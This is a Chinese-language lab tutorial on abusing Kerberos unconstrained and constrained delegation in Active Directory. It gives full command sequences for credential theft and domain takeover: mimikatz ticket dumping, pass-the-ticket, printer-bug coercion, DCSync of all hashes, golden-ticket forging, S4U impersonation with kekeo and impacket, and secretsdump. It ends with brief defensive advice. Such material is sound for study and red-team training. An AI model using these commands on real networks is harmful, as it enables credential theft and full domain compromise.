域渗透——Kerberos委派攻击
前置知识 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动 委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束
前置知识
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

发现域中委派的用户和计算机
原理说明
- 当服务账号或者主机被设置为非约束性委派时,其
userAccountControl属性会包含TRUSTED_FOR_DELEGATION - 当服务账号或者主机被设置为约束性委派时,其
userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
发现域中委派的用户或计算机一般使用的手段是通过LDAP协议(全称:LightweightDirectory Access Protocol)然后通过userAccountControl属性筛选出符合的用户或计算机,我们可以通过ADSI(全称:ActiveDirectory Service Interfaces Editor)来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

然后我们再看一下约束委派的用户,同样它的userAccountControl属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo属性,里面包含了允许委派的服务

下面介绍三种比较常见方法用于查找域中委派的用户和计算机
非约束委派的查找
ldapsearch
kali上自带,适合在域外查询
这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可
查找域中配置非约束委派的用户:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
过滤条件
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))

查找域中配置非约束委派的主机:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:域控主机账户默认开启非约束委派
过滤条件
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
注:更多LDAP的过滤语法请参考微软的手册:地址

注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机
ADFind
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
- -b:指定要查询的根节点
- -f:LDAP过滤条件
- attr list:需要显示的属性
查找域中配置非约束委派的用户:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView
查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain qiyou.com |select name

查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain qiyou.com

查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize

约束委派
ldapsearch
查找域中配置约束委派用户
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
过滤条件
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))

查找域中配置约束委派的主机:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
过滤条件
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))

ADFind
查找域中配置约束委派用户
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView
注:Powerview有两个版本,一个在dev分支:地址,一个在master分支:地址
查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

非约束委派的利用
概述
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):

上图的Kerberos请求描述分为如下步骤:
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。
2. KDC在`KRB_AS_REP`消息中返回`TGT1`。
3. 用户根据步骤2中的TGT1请求转发TGT2。
4. KDC在KRB_TGS_REP消息中为user返回TGT2。
5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。
7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。
11. service2响应service1的请求。
12. 有了这个响应,service1就可以在步骤7中响应用户的请求。
13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
14. KDC返回步骤13中请求的ST
15-16. service1以用户的名义来请求其它服务
注:TGT1(forwardable TGT)用于访问Service1,TGT2(forwarded TGT)用于访问Service2
操作
操作环境:
- 域:
qiyou.com - 域控:windows server 2008R2,主机名:
WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator - 域内主机:windows server 2008R2,主机名:
DM2008,IP:192.168.141.183,用户:qiyou
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
现在我们将DM2008这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户,多谢评论区的3t2ugg1e师傅指正)

然后我们以administrator的身份通过WinRM服务远程连接DM2008
注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了

这个时候域管理员的TGT已经缓存在DM2008了,我们用mimikatz即可dump出来
privilege::debug
sekurlsa::tickets /export

可以看到[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi即为域管理administrator的TGT
此时我们访问域控是被拒绝的

然后通过ptt将TGT注入到当前会话中
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
成功访问

注意:访问域控要用主机名或者是FQDN,使用IP还是会提示拒绝访问

如果想执行命令的话,我们可以用WinRM服务来远程连接域控服务器
Enter-PSSession -ComputerName WIN-QFPHJSM1L7G
-ComputerName指定主机名- 如果你WinRM服务端口改了的话,可以用
-Port指定WinRM端口,默认是5985

注:Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。
非约束委派+Spooler打印机服务
如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的
演讲PPT:地址
利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
请求过程如下:

图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
注:Print Spooler服务默认是自动运行的

注:我在windows server 2008上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server 2012R2就成功了
操作环境:
- 域:
test.local - 域控:系统:
Windows server 2012R2主机名:DM2012,ip:192.168.141.134 - 域内主机:系统:
windows 10,主机名:win10,ip:192.168.141.165
这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限
我们给win10这个主机账户开启非约束委派

注:是主机账户开启非约束委派,而不是服务用户
tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample
向DM2012的Spooler服务发送请求,强制其访问win10进行身份验证
SpoolSample.exe dm2012 win10

我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
每隔一秒监听一次来自dm2012的登陆(需要本地管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:dm2012$
注:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中
Rubeus.exe ptt /ticket:base64
因为之前域内主机win10的安全日志被我搞崩了,所以这里就不演示了

因为我们Rubeus监听TGT用不了,所以我们可以用mimikatz导出TGT
privilege::debug
sekurlsa::tickets /export
可以发现成功导出来自DM2012$的TGT


得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync导出域控中所有用户的hash,然后用krbtgt用户的hash生成黄金票据
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi
lsadump::dcsync /domain:test.local /all /csv

得到krbtgt用户的hash之后生成一张administrator的黄金票据
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt
成功以administrator的身份访问域控

执行命令可以用WinRM服务来远程连接域控

关于Spooler服务的利用还有CVE-2019-1040,不过这个是基于资源的约束委派,有兴趣的同学可以去了解一下
约束委派的利用
概述
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self和S4U2proxy的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述:
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
操作
操作环境:
- 域:
qiyou.com - 域内主机:
windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou - 域内主机:
DM08
DM08是域内的另外一台主机,下面我们设置了服务用户qiyou对DM08的cifs服务的委派

概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi
参数:
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

得到服务用户TGT:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问dm08 CIFS的ST
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi
成功访问到dm08的cifs服务

上面是知道服务用户明文的情况下,kekeo同样也支持使用NTLM Hash
在请求服务用户的TGT那步直接把/password改成/NTLM即可
已知我们服务账号qiyou的NTLM hash是b4f27a13d0f78d5ad83750095ef2d8ec
tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过tgt::ask请求TGT这步,直接tgs::s4u
tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

我们来抓包看一下整个委派请求的过程
可以看到有6个请求响应的过程,我们可以分为3步来分析

- 可以看到用户
qiyou首先向KDC请求一张TGT,AS-REP请求里返回TGT,这张TGT代表的是qiyou这个用户

2 然后用这张TGT发送S4U2self请求,以Administrator的名义向TGS申请了一张访问自身服务的票据,我们这里就称为ST1吧

- 得到
ST1之后,然后会带上ST1再次向KDC发起SU42Proxy请求,以administrator的名义请求一张访问DM08 cifs服务的票据,我们这里就称为ST2吧

上述数据包请求过程中:第一步对应的是我们kekeo的tgt::ask;2-3是对应tgs::s4u,其中ST1和ST2分别对应的就是kekeo生成的TGS_Administrator@qiyou.com@QIYOU.COM_qiyou@QIYOU.COM.kirbi和TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi,不过我们最终用到是ST2,ST1可以看作一个中间产物。
得到ST2之后我们就可以回到我们的攻击机上进行ptt就能得到DM08 cifs的访问权限了
利用约束委派生成黄金票据
操作环境:
- 域:
qiyou.com - 域控:
windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator - 域内主机:
windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou
我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注:TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/QIYOU.COM
krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser qiyou
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/qiyou.com") }
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

GUI界面查看一下,成功添加

我们可以用impacket系列的getST向KDC请求administrator的TGT
getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是TGS
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache

然后用mimikatz进行ptc(pass the cache),将缓存注入当前会话中

klist查看缓存的票据

访问域控

执行命令的话我们可以用impacket系列或者powershell都可以
wmiexec
set KRB5CCNAME=Administrator.ccache
wmiexec.exe -no-pass -k administrator@WIN-QFPHJSM1L7G.qiyou.com -dc-ip 192.168.141.145

导出域控上所有用户以及主机的hash
set KRB5CCNAME=Administrator.ccache
secretsdump.exe -no-pass -k WIN-QFPHJSM1L7G.qiyou.com
请求过程和上面的cifs是一样的只不过是把cifs换krbtgt而已,所以这里就不抓包演示了
防御
- 高权限用户没有在特殊要求之下设置为不可委派
如图

- 为了防止凭据被盗微软推出了
Protected Users组,适用于Windows Server 2016,Windows Server 2012 R2、Windows Server 2012

关于Protected Users组成员的特点请参考微软手册,这里就不多赘述了
- 提高服务用户密码强度,防止黑客通过
Kerberoasting等手段对口令进行暴力破解
Reference
http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/




@By七友 正如您所说:

那么当我将服务账户的非约束委派关闭后,发现其实并不能抓到administrator的tgt,是否是主机账户和服务账户都需要配置呢。